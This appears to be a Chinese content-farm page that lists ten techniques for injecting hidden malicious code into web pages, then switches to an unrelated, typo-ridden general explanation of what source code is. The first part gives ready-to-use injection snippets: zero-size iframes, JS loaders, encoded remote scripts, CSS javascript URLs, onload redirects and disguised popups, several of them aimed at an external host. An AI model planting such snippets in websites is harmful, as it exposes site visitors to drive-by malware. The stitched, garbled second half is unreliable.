1. 常见网页病毒的源代码
挂马代码如下
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>
三:js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<body onload="window.location='地址';"></body>
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.caminix.cn"></iframe>';
六:css中挂马
body {
background-image: url('javascript:document.write("<script src=http://www.caminix.cn></script>")')}
七:JAJA挂马
<SCRIPT language=javascript>
window.open ("http://www.caminix.cn","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
八:图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
<a href="http://www.163.com" onMouseOver="www_163_com(); return true;"></a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="http://www.caminix.cn";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,history=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
2. 如何查看病毒的源代码
源代码复(也称源程序),是指一系制列人类可读的计算机语言指令。
在现代程序语言中,源代码可以是以书籍或者磁带的形式出现,但最为常用的格式是文本文件,这种典型格式的目的是为了编译出计算机程序。计算机源代码的最终目的是将人类可读的文本翻译成为计算机可以执行的二进制指令,这种过程叫做编译,通过编译器完成。
作用 :
源代码主要功用有如下2种作用:
生成目标代码,即计算机可以识别的代码。
对软件进行说明,即对软件的编写进行说明。为数不少的初学者,甚至少数有经验的程序员都忽视软件说明的编写,因为这部分虽然不会在生成的程序中直接显示,也不参与编译。但是说明对软件的学习、分享、维护和软件复用都有巨大的好处。因此,书写软件说明在业界被认为是能创造优秀程序的良好习惯,一些公司也硬性规定必须书写。
需要指出的是,源代码的修改不能改变已经生成的目标代码。如果需要目标代码做出相应的修改,必须重新编译。